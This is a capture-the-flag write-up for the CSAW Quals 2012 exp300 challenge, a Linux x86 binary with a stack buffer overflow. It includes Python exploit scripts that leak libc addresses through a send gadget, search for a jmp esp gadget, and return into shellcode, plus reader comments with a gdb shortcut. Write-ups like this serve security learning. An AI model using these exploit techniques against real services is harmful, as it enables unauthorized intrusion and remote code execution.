CSAW Quals 2012 – exp300

Overview

聊天 is an Linux x86 binary that uses signal handlers to print a bunch of Chinese before overflowing a buffer. With a send gadget giving us an arbitrary read, we can find a jmp esp in libc and jump to our shellcode on the (executable) stack.

Writeup

We reverse the binary, and see that main forks, drops privileges, and then raises signals until eventually the function below is called.

Vulnerable Function

We have a buffer overflow and hence control of eip, but unfortunately nothing else. Luckily, there is a call to send elsewhere in the code (that also loads the correct fd, etc for us).

Send gadget

This works for us, since edx = 0x800 at the return of our vulnerable function. We thus have a way to read 0x800 bytes from an arbitrary memory address

#!/usr/bin/python                                                               
import struct                                                                   
import socket                                                                   
import telnetlib                                                                
import sys                                                                      
import string

def read_mem(addr):                                                                
        print "Sleeping before reading %x" % addr                                  
        time.sleep(.5)                                                             
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
        s.connect(('128.238.66.218', 4842))                                        
        # s.connect(('127.0.0.1', 4842))                                           
        f = s.makefile('rw', bufsize=0)                                            
                                                                                   
        send_buf = 0x804890e                                                       
                                                                                   
        payload = (                                                                
                "A"*326 +                                                          
                struct.pack('I', send_buf) +                                       
                "AAAA"*11 +                                                        
                struct.pack('I', addr) +                                           
                "BBBB"                                                             
        )                                                                          
                                                                                   
        f.write(payload)                                                           
        x = f.read(116)                                                            
        f.flush()                                                                  
                                                                                   
        buf = f.read(0x800)                                                        
        f.close()                                                                                                                   
                                                                                   
        return buf 

Our general strategy at this point will be: read the GOT entries to find a libc address, then search in libc for a jmp esp gadget, then use that to return to our shellcode (jmp esp works since we know that NX is disabled). Here is the solution:

#!/usr/bin/python                                                               
import struct                                                                   
import socket                                                                   
import telnetlib                                                                
import sys                                                                      
import string

def find_jmp_esp():                                                                                                                                                                                     
        gots = read_mem(0x804B000)  # The offset of the got entries.                                             
                                                                                
        setsockopt = struct.unpack('I', gots[:4])[0]                            
        libc_guess = setsockopt - 0xEC6D0  # Where setsockopt is located on my ubuntu machine.                                   
                                                                                
        buf_base = libc_guess - (libc_guess % 0x1000)                                                   
                                                                                
        buf = read_mem(buf_base)                                                           
        while buf:                                                                                                               
                jmp_esp = buf.find("\xff\xe4")  # jmp esp                                  
                if jmp_esp != -1:                                               
                        return buf_base + jmp_esp                               
                else:                                                           
                        buf_base += len(buf)                                    
                        buf = read_mem(buf_base)                                
                                                                                
        return 0                                                                

def solve(jmp_esp):                                                             
        payload = (                                                             
                "A"*326 +                                                       
                struct.pack('I', jmp_esp)+                                      
                shellcode                                                       
        )                                                                       
                                                                                
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                   
        s.connect(('128.238.66.218', 4842))                                     
        # s.connect(('127.0.0.1', 4842))                                        
        f = s.makefile('rw', bufsize=0)                                         
                                                                                
        f.write(payload)                                                        
                                                                                
        t = telnetlib.Telnet()                                                  
        t.sock = s                                                              
        t.interact()  
                                                                                
jmp_esp = find_jmp_esp()                                                        
                                                                                                                                       
print "Found jmp_esp at %x" % jmp_esp                                           
                                                                                                     
solve(jmp_esp)                                                                  

Writeup by Alex Reece, see me on Google+.

    • Jordan
    • October 4th, 2012

    Or you could do it the easy way:

    cat /proc/$pid/maps|head -n3
    08048000-0804a000 r-xp 00000000 00:15 17906871 聊天
    0804a000-0804b000 r-xp 00001000 00:15 17906871 聊天
    0804b000-0804c000 rwxp 00002000 00:15 17906871 聊天

    (gdb) find/b 0×08048000, 0x0804a000, 0xff, 0xe4
    0x8048fbb
    0x804900b

    • Pete
    • October 4th, 2012

    Why ‘send_buf’ in read_mem() use ‘pop edi’

    Thanks :D

  1. No trackbacks yet.